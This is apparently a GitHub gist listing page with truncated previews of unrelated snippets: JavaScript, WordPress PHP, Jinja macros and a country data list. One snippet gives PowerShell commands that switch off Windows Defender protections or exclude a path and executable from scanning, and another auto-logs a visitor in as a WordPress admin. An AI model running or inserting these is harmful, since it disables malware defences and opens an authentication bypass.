This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function greet(name) { | |
return `Hello, ${name}!`; | |
} | |
console.log(greet('World')); // 'Hello, World!' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Custom Gravatar | |
* | |
* This snippet adds a custom gravatar field to the user profile page. | |
* It also adds a filter to replace the default gravatar with the custom one. | |
* To make it work, you need to have Advanced Custom Fields plugin installed and activated. | |
* | |
* Usage: | |
* 1. Copy this snippet to your theme's directory (e.g. /wp-content/themes/your-theme/inc/custom-gravatar.php) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# disable | |
powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true' | |
# Or exclude | |
powershell -command 'Add-MpPreference -ExclusionPath "c:\temp" -ExclusionProcess "c:\temp\yourstuffs.exe"' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('admin_init', function () { | |
// Redirect any user trying to access comments page | |
global $pagenow; | |
if ($pagenow === 'edit-comments.php') { | |
wp_redirect(admin_url()); | |
exit; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var countries = { | |
"Afghanistan": [ | |
"Badakhshan", | |
"Badghis", | |
"Baghlan", | |
"Balkh", | |
"Bamian", | |
"Daykondi", | |
"Farah", | |
"Faryab", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Jinja Unique ID Generator --> | |
{% macro random_int(len) -%} | |
{% for n in range(len) %} | |
{{ [0,1,2,3,4,5,6,7,8,9]|random }} | |
{% endfor %} | |
{%- endmacro %} | |
{% macro unique_id(count_groups=5, group_len=6, separator='-') -%} | |
{% set parts %} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
window.onbeforeunload = function(e) { | |
var message = "Your confirmation message goes here.", e = e || window.event; | |
// For IE and Firefox | |
if (e) { | |
e.returnValue = message; | |
} | |
// For Safari | |
return message; | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @name WP Auto Login | |
* @desc Automatically login a single WordPress user upon arrival to main page. | |
* @author Alex Zappa | |
* @link https://gist.github.com/reatlat/b3de420eee85cac3e344f981e8f27f87 | |
*/ | |
function auto_login() { | |
if (!is_user_logged_in()) { | |
// Admin user_id |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{# Helpers: slugify #} | |
{# Returns the slug version of a string #} | |
{# Parameters #} | |
{# string | String to convert into a slug | Required #} | |
{# How to import this macro to my module #} | |
{# {% from '[folder]/slugify.html' import slugify %} #} | |
{# How to use this macro #} |
NewerOlder